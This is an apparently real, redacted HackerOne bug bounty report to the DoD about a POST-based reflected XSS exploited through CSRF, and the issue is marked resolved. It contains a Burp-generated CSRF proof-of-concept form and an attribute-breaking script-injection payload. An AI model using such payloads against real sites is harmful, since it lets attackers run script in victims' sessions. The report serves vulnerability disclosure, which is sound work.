POST based RXSS on https://███████/ via ███ parameter
Medium
Vulnerability Details
Good Night DoD team,
##Summary:
I have discovered that on the following domain https://██████████/███████ there is Post-Based reflected XSS vulnerability which i can trigger with CSRF (and Clickjacking) due to unsanitized input inside the ███parameter
██████████
##Description
The vulnerable path is: https://███████/███
CSRF html code for you to reproduce:
```javascript
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://███████/█████████" method="POST">
<input type="hidden" name="████████" />
<input type="hidden" name="███" />
<input type="hidden" name="█████████" />
<input type="hidden" name="██████████" value=""><script>alert(document.domain)</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
##Steps To Reproduce (As an attacker):
1. Navigate to https://█████████/
2. Enter arbitrary text on the field and capture the request
3. Capture the request on burp, change the payload on the █████████ field to "><script>alert("XSS by nagli")></script>
4. Craft a CSRF PoC and an alert will pop upon clicking. :-)
PoC Video:
██████
##Best Regards,
nagli
## Impact
Attacker can execute JS code on the Victim Behalf.
Actions
View on HackerOneReport Stats
- Report ID: 998935
- State: Closed
- Substate: resolved
- Upvotes: 32